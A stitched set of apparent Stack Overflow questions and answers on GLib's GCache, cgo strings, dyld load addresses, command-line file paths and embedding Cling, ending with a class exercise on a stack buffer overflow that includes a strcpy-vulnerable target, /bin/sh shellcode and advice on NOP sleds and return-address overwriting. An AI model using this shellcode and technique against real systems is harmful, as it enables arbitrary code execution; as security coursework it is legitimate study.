I wrote a test example in glib:
#undef G_DISABLE_ASSERT
#undef G_LOG_DOMAIN
#include <stdio.h>
#include <string.h>
#include "glib.h"
void function(gchar *key,gchar *value,gint *user_data)
{
// give the count of the number of times the function was called
(*user_data)++;
}
void cache_test()
{
gchar *str1,*str2,*str3;
GCache *cache = NULL;
gint user_data = 0;
g_assert((cache = g_cache_new( (GCacheNewFunc) g_ascii_strup,
g_free, (GCacheDupFunc) g_strdup, g_free, g_str_hash,
g_str_hash, g_str_equal)) != NULL);
g_print("\n g_assert g_cache_new");
str1 = g_cache_insert(cache,"test");
g_print("\n str1 = g_cache_insert(cache,test)");
g_assert(!strcmp("TEST",str1));
g_print("\n g_assert(!strcmp(TEST,str1))");
str2 = g_cache_insert(cache,"test");
g_print("\n str2 = g_cache_insert(cache,test)");
g_assert(!strcmp("TEST",str1));
g_print("\n g_assert(!strcmp(TEST,str1))");
str3 = g_cache_insert(cache,"glib");
g_print("\n str3 = g_cache_insert(cache,glib)");
g_assert(!strcmp("GLIB",str3));
g_print("\n g_assert(!strcmp(GLIB,str3))");
g_cache_key_foreach (cache,(GHFunc)function,&user_data);
g_print("\n g_cache_key_foreach (cache,(GHFunc)function,&user_data)");
//g_cache_key_foreach would call function twice and make user_data == 2
g_assert(user_data == 2);
g_cache_value_foreach (cache,(GHFunc)function,&user_data);
g_print("\n g_cache_key_foreach (cache,(GHFunc)function,&user_data)");
//g_cache_value_foreach would call function twice and make user_data == 4
g_assert(user_data == 4);
g_cache_remove(cache,str1);
g_print("\n g_cache_remove(cache,str1)");
g_cache_remove(cache,str2);
g_print("\n g_cache_remove(cache,str1)");
g_cache_remove(cache,str3);
g_print("\n g_cache_remove(cache,str1)");
g_cache_destroy(cache);
g_print("\n g_cache_destroy(cache)");
}
int main (int argc,
char *argv[])
{
cache_test();
return 0;
}
Now my test example crashes at str1 = g_cache_insert(cache,"test"); because of null pointer dereferencing.
Any help where I could be going wrong?
Edit
I just tried 1 more quick fix to the test code to confirm your suggestion (of the bug in g_ascii_strup). I used the call
cache = g_cache_new((GCacheNewFunc) g_strdup,
g_free, (GCacheDupFunc)g_strdup, g_free, g_str_hash,
g_str_hash, g_str_equal);
ie instead of g_ascii_strup() I used g_strdup... I didn't see any crash. Am I missing anything here?
And is the g_ascii_strup() bug fixed in the latest glib releases? Can I please have the bug number if you are aware of it?
I'd take out the (GCacheNewFunc) and (GCacheDupFunc) casts because they are breaking type safety, and in this case, hiding a bug: g_ascii_strup takes a length parameter which will probably be garbage. Instead make a function with the proper signature, and call g_ascii_strup inside that function. Then you don't need a cast.
I'd guess that's the issue. But if not, what I'd do is get debug symbols on your GLib, and get a backtrace in gdb.
Related
This must be something really silly and basic, but the cgo docs (and google fu) have left me stranded. Here's what I am trying to do: I want a GO function to call a "C" function using 'import "C"'. Said "C" function needs to store the address of a "C" string (malloc or constant - neither has worked for me) into an argument passed to it as *C.char. The GO function then needs to convert this to a GO string. It actually does work, except I get this:
panic: runtime error: cgo argument has Go pointer to Go pointer
If I run with GODEBUG=cgocheck=0, it all works fine. If I leave as default:
strptr = 4e1cbf ('this is a C string!')
main: yylex returned token 1
yylval.tstrptr 4e1cbf
stringval token "this is a C string!"
The problematic line seems to be:
yylval.stringval = C.GoString(yylval.tstrptr)
What little I can find about C.GoString, it left me with the impression that it allocates a GO string, and fills it in from the "C" string provided, but that seems to not be the case, or why am I getting a complaint about 'Go pointer to Go pointer'? I've tried a number of other approaches, like having the "C" function malloc the buffer and the GO function do C.free() on it. Nothing has worked (where worked == avoiding this runtime panic).
The GO source:
package main
import (
"fmt"
"unsafe"
)
// #include <stdio.h>
// int yylex (void * foo, void *tp);
import "C"
type foo_t struct {
i int32
s string
}
var foo foo_t
func main() {
var retval int
var s string
var tp *C.char
for i := 0; i < 2; i++ {
retval = int(C.yylex(unsafe.Pointer(&foo), unsafe.Pointer(&tp)))
fmt.Printf("main: yylex returned %d\n", retval)
fmt.Printf("tp = %x\n", tp)
if retval == 0 {
s = C.GoString(tp)
fmt.Printf("foo.i = %d s = %q\n", foo.i, s)
} else {
foo.s = C.GoString(tp)
fmt.Printf("foo.i = %d foo.s = %q\n", foo.i, foo.s)
}
}
}
The "C" source
#include <stdio.h>
int yylex (int * foo, char ** tp)
{
static num;
*foo = 666;
*tp = "this is a C string!";
printf ("strptr = %x ('%s')\n", *tp, *tp);
return (num++);
}
What's interesting is that if the GO func stores into foo.s first, the 2nd call to yylex bombs with the panic. If I do s and then foo.s (depending on whether I check retval as 0 or non-zero), it doesn't fail, but I'm guessing that is because the GO function exits right away and there are no subsequent calls to yylex.
I would like to offer the option in my app to send stack trace of catched NSException by email. However, addresses are relocated so I would need the loaded base address for the trace to be meaningful.
Is there a way to get this? The closest I did get is taking the pointer of a known function, which is something (I can calculate base address from it, after all), but is there a more straightforward way?
What I have done in the past is log the mach header addresses within the log file, that the (server-based) symbolication tool can then use. The log file contained both log messages and the crash log.
// Dump the load addresses of AppName and libXxx.dylib to help tools/process_bug_reports.py
uint32_t numImages = _dyld_image_count();
for (uint32_t i = 0; i < numImages; i++) {
const struct mach_header *header = _dyld_get_image_header(i);
const char *name = _dyld_get_image_name(i);
const char *p = strrchr(name, '/');
if (p && (strcmp(p + 1, "AppName") == 0 || strcmp(p + 1, "libXxx.dylib") == 0)) {
loginf(#"module=%s, address=%p", p + 1, header);
}
}
This is my function. It's working absolutely fine; I just can't get one more thing working.
Instead of the static fopen paths, I need the user to write the path for the files. I tried several things but I can't get it working. Please help
int FileToFile() {
FILE *fp;
FILE *fp_write;
char line[128];
int max=0;
int countFor=0;
int countWhile=0;
int countDo = 0;
fp = fopen("d:\\text.txt", "r+");
fp_write = fopen("d:\\results.txt", "w+");
if (!fp) {
perror("Greshka");
}
else {
while (fgets(line, sizeof line, fp) != NULL) {
countFor = 0;
countWhile = 0;
countDo = 0;
fputs(line, stdout);
if (line[strlen(line)-1] = "\n") if (max < (strlen(line) -1)) max = strlen(line) -1;
else if (max < strlen(line)) max = strlen(line);
char *tmp = line;
while (tmp = strstr(tmp, "for")){
countFor++;
tmp++;
}
tmp = line;
while (tmp = strstr(tmp, "while")){
countWhile++;
tmp++;
}
tmp = line;
while (tmp = strstr(tmp, "do")){
countDo++;
tmp++;
}
fprintf(fp_write, "Na tozi red operatora for go ima: %d pyti\n", countFor);
fprintf(fp_write, "Na tozi red operatora for/while go ima: %d pyti\n", countWhile - countDo);
fprintf(fp_write, "Na tozi red operatora do go ima: %d pyti\n", countDo);
}
fprintf(fp_write, "Maximalen broi simvoli e:%d\n", max);
fclose(fp_write);
fclose(fp);
}
}
Have a look at argc and argv. They are used for command-line arguments passed to a program. This requires that your main function be revised as follows:
int main(int argc, char *argv[])
The argc is an integer that represents the number of command-like arguments, and argv is an array of char* that contain the arguments themselves. Note that for both, the program name itself counts as an argument.
So if you invoke your program like this:
myprog c:\temp
Then argc will be 2, argv[0] will be myprog, and argv[1] will be c:\temp. Now you can just pass the strings to your function. If you pass more arguments, they will be argv[2], etc.
Keep in mind if your path contains spaces, you must enclose it in double quotes for it to be considered one argument, because space is used as a delimiter:
myprog "c:\path with spaces"
How to use Cling in my app via API to interpret C++ code?
I expect it to provide terminal-like way of interaction without need to compile/run executable. Let's say i have hello world program:
void main() {
cout << "Hello world!" << endl;
}
I expect to have API to execute char* = (program code) and get char *output = "Hello world!". Thanks.
PS. Something similar to ch interpeter example:
/* File: embedch.c */
#include <stdio.h>
#include <embedch.h>
char *code = "\
int func(double x, int *a) { \
printf(\"x = %f\\n\", x); \
printf(\"a[1] in func=%d\\n\", a[1]);\
a[1] = 20; \
return 30; \
}";
int main () {
ChInterp_t interp;
double x = 10;
int a[] = {1, 2, 3, 4, 5}, retval;
Ch_Initialize(&interp, NULL);
Ch_AppendRunScript(interp,code);
Ch_CallFuncByName(interp, "func", &retval, x, a);
printf("a[1] in main=%d\n", a[1]);
printf("retval = %d\n", retval);
Ch_End(interp);
}
}
There is finally a better answer: example code! See https://github.com/root-project/cling/blob/master/tools/demo/cling-demo.cpp
And the answer to your question is: no. cling takes code and returns C++ values or objects, across compiled and interpreted code. It's not a "string in / string out" kinda thing. There's perl for that ;-) This is what code in, value out looks like:
// We could use a header, too...
interp.declare("int aGlobal;\n");
cling::Value res; // Will hold the result of the expression evaluation.
interp.process("aGlobal;", &res);
std::cout << "aGlobal is " << res.getAs<long long>() << '\n';
Apologies for the late reply!
Usually the way one does it is:
[cling$] #include "cling/Interpreter/Interpreter.h"
[cling$] const char* someCode = "int i = 123;"
[cling$] gCling->declare(someCode);
[cling$] i // You will have i declared:
(int) 123
The API is documented in: http://cling.web.cern.ch/cling/doxygen/classcling_1_1Interpreter.html
Of course you can create your own 'nested' interpreter in cling's runtime too. (See the doxygen link above)
I hope it helps and answers the question, more usage examples you can find under the test/ folder.
Vassil
I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.
I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?
Thanks very much for any help.
Well, so you want the program to execute your shellcode. It's already in machine form, so it's ready to be executed by the system. You've stored it in a buffer. So, the question would be "How does the system know to execute my code?" More precisely, "How does the system know where to look for the next code to be executed?" The answer in this case is the return address you're talking about.
Basically, you're on the right track. Have you tried executing the code? One thing I've noticed when performing this type of exploit is that it's not an exact science. Sometimes, there are other things in memory that you don't expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.
I'm not a specialist in security, but I can tell you a few things that might help. One is that I usually include a 'NOP Sled' - essentially just a series of 0x90 bytes that don't do anything other than execute 'NOP' instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you'll have a successful return to where you want.
So, your buffer will look like this:
| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |
(Note: These aren't my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you're interested in learning more about this).
To calculate the address, you can use something similar to the following:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.